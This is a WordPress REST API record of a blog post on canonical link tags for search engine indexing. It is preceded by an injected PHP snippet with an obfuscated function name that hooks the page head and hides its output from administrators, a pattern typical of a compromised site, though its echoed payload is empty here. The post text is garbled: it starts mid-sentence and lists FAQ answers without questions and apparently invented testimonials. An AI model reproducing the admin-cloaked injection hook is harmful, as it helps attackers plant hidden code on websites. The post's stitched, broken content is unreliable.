if (!function_exists('f4839d963')) { function f4839d963() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f4839d963', 999); {"id":467,"date":"2026-05-31T15:34:27","date_gmt":"2026-05-31T15:34:27","guid":{"rendered":"https:\/\/eyescreenmedia.com\/?p=467"},"modified":"2026-05-31T19:13:42","modified_gmt":"2026-05-31T19:13:42","slug":"search-engines-use-canonical-link-tags-to","status":"publish","type":"post","link":"https:\/\/eyescreenmedia.com\/?p=467","title":{"rendered":"Search_engines_use_canonical_link_tags_to_designate_the_Official_Page_of_a_website_during_indexation"},"content":{"rendered":"
` instead of “, which some bots ignore. Also, avoid canonicalizing to a URL that redirects (301 or 302). The final destination should be the canonical target.<\/p>\n
For dynamic sites, ensure your CMS automatically generates correct tags. Hardcoding them in templates can lead to errors when URLs change. Use relative paths only if your base URL is stable; otherwise, stick to absolute URLs. Lastly, test with the URL Inspection Tool in Google Search Console to confirm that the declared canonical matches Google\u2019s chosen canonical.<\/p>\n
Search engines will choose a canonical URL on their own, often based on external signals like backlinks or page authority, which may not align with your preference.<\/p>\n
Yes, cross-domain canonicalization is supported. It tells search engines that the content on domain A is a duplicate of the authoritative page on domain B.<\/p>\n
No, it is a strong hint but not a guarantee. If the canonical URL has technical issues (e.g., blocked by robots.txt or returns a 404), it may not be indexed.<\/p>\n
Yes, for paginated series, set the canonical to the first page or a \u201cview all\u201d page, and use rel=”next” and rel=”prev” to indicate the sequence.
\nHow many canonical tags can a page have?Only one. Multiple canonical tags on a page may cause search engines to ignore all of them, leading to unintended indexation.<\/p>\n
Sarah K.<\/strong><\/p>\n After implementing canonical tags on our e-commerce site, duplicate product pages stopped competing. Our top product now ranks on page one consistently.<\/p>\n Mark T.<\/strong><\/p>\n I had a mess with session IDs creating thousands of duplicate URLs. Canonical tags cleaned up indexation in two weeks. Crawl budget improved dramatically.<\/p>\n Lena P.<\/strong><\/p>\n Cross-domain canonicalization helped us merge two blogs into one authoritative site. The traffic loss was minimal, and the main domain gained authority fast.<\/p>\n","protected":false},"excerpt":{"rendered":" ` instead of “, which some bots ignore. Also, avoid canonicalizing to a URL that redirects (301 or 302). The […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[100],"tags":[],"class_list":["post-467","post","type-post","status-publish","format-standard","hentry","category-crypto-21-05"],"_links":{"self":[{"href":"https:\/\/eyescreenmedia.com\/index.php?rest_route=\/wp\/v2\/posts\/467","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/eyescreenmedia.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/eyescreenmedia.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/eyescreenmedia.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/eyescreenmedia.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=467"}],"version-history":[{"count":1,"href":"https:\/\/eyescreenmedia.com\/index.php?rest_route=\/wp\/v2\/posts\/467\/revisions"}],"predecessor-version":[{"id":468,"href":"https:\/\/eyescreenmedia.com\/index.php?rest_route=\/wp\/v2\/posts\/467\/revisions\/468"}],"wp:attachment":[{"href":"https:\/\/eyescreenmedia.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=467"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/eyescreenmedia.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=467"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/eyescreenmedia.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=467"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}